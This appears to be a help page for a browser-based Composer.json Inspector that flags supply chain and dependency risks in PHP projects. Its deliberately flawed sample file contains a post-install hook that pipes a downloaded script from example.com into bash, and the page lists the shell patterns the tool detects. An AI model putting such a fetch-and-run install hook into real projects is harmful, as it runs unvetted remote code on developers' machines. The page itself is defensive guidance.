Composer.json Inspector

What is the Composer.json Inspector?

The Composer.json Inspector is a client-side analysis tool that scans your PHP Composer configuration files for supply chain risks, dependency issues, and best-practice violations. It detects overly permissive version constraints, duplicate dependencies across require and require-dev, dangerous lifecycle scripts, missing PHP version constraints, unstable minimum-stability settings, and abandoned packages — then calculates a quality score with prioritized remediation recommendations.

How to Use

1. Paste your composer.json content into the input field
2. Click "Inspect" or wait for automatic processing
3. Review findings with severity ratings (Critical, High, Medium, Low)
4. Follow the recommendations to improve your Composer configuration
5. Export a full inspection report in JSON or Markdown format

Example: Composer.json with Issues

This composer.json has multiple configuration problems the inspector will detect:

{
  "name": "vendor/vulnerable-app",
  "minimum-stability": "dev",
  "require": {
    "laravel/framework": "*",
    "guzzlehttp/guzzle": ">=7.0",
    "fzaninotto/faker": "^1.9",
    "swiftmailer/swiftmailer": "^6.0"
  },
  "require-dev": {
    "guzzlehttp/guzzle": "^7.8",
    "phpunit/phpunit": "^11.0"
  },
  "scripts": {
    "post-install-cmd": "curl https://example.com/setup.sh | bash"
  }
}

What Issues Are Detected?

• Overly permissive version constraints — Using *, >=x.y without ceiling, or dev-master references allows unexpected or breaking versions during composer update
• Duplicate dependencies — Same package in both require and require-dev creates confusion about runtime vs. development scope
• Dangerous lifecycle scripts — post-install-cmd or post-update-cmd hooks that download content or pipe to shell are supply chain attack vectors
• Missing PHP version constraint — No "php" entry in require means consumers may install packages incompatible with their PHP runtime
• Unstable minimum-stability — Setting minimum-stability to "dev" without prefer-stable allows all dependencies to resolve to development versions
• Abandoned packages — Known abandoned packages (fzaninotto/faker, swiftmailer, zendframework/*) with recommended replacements

Version Constraint Best Practices

Composer version constraints control which dependency versions are installed. Overly permissive constraints like * or >=1.0 expose your project to breaking changes and potential supply chain attacks during composer update.

• ^1.2 — Caret: allows updates within the same major version (recommended for libraries)
• ~1.2.3 — Tilde: allows patch updates only (~1.2.3 means >=1.2.3, <1.3.0)
• 1.2.3 — Exact: pins to specific version (most restrictive)
• * — Any version: dangerous, allows any version including breaking changes
• >=1.0 — No ceiling: any version ≥1.0 including future majors with BC breaks
• dev-master — Unstable: points to development branch, changes constantly

Supply Chain Security in Composer

Composer lifecycle scripts (post-install-cmd, post-update-cmd) run automatically during composer install and composer update. Attackers can inject malicious code into these scripts to steal credentials, install backdoors, or exfiltrate environment variables. The inspector flags scripts that download external content (curl, wget), execute arbitrary code (eval, sh -c, php -r), or pipe output to shell interpreters.

Scoring System

Each composer.json receives a quality score from 0 to 100 based on detected findings. Severity weights: Critical (25 points deducted), High (15 points — permissive constraints, dangerous lifecycle scripts, unstable without prefer-stable), Medium (8 points — duplicates, missing PHP version, dev stability), Low (3 points — abandoned packages). Grades: A (90+), B (75+), C (60+), D (40+), F (below 40).

Privacy and Security

All inspection happens entirely in your browser using JavaScript. Your composer.json — which may contain private package names, internal Satis/Packagist repository URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.